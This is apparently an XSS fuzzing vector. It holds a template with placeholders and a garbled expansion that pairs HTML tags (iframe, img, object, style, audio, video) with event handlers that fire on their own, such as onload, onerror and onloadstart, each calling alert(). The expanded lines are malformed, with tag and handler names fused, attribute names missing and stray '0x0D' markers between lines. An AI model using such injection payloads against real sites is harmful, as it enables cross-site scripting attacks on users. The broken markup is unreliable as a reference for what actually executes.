This vector shows which events fire without user interaction
<$[data1] src=1 srcdoc=1 data=1 href=1 $[data2]="log('$[data1]->$[data2]')"></$[data1]>0x0D
<$[data1] $[data2]="log('$[data1]->$[data2]')"></$[data1]><iframe->onload src=1 srcdoc=1 data=1 href=1 ="alert('iframe->onload->')"></iframe->onload>0x0D
<iframe->onload ="alert('iframe->onload->')"></iframe->onload><object->onerror src=1 srcdoc=1 data=1 href=1 ="alert('object->onerror->')"></object->onerror>0x0D
<object->onerror ="alert('object->onerror->')"></object->onerror><style->onload src=1 srcdoc=1 data=1 href=1 ="alert('style->onload->')"></style->onload>0x0D
<style->onload ="alert('style->onload->')"></style->onload><img->onerror src=1 srcdoc=1 data=1 href=1 ="alert('img->onerror->')"></img->onerror>0x0D
<img->onerror ="alert('img->onerror->')"></img->onerror><audio->onloadstart src=1 srcdoc=1 data=1 href=1 ="alert('audio->onloadstart->')"></audio->onloadstart>0x0D
<audio->onloadstart ="alert('audio->onloadstart->')"></audio->onloadstart><video->onloadstart src=1 srcdoc=1 data=1 href=1 ="alert('video->onloadstart->')"></video->onloadstart>0x0D
<video->onloadstart ="alert('video->onloadstart->')"></video->onloadstart><audio->onerror src=1 srcdoc=1 data=1 href=1 ="alert('audio->onerror->')"></audio->onerror>0x0D
<audio->onerror ="alert('audio->onerror->')"></audio->onerror><video->onerror src=1 srcdoc=1 data=1 href=1 ="alert('video->onerror->')"></video->onerror>0x0D
<video->onerror ="alert('video->onerror->')"></video->onerror>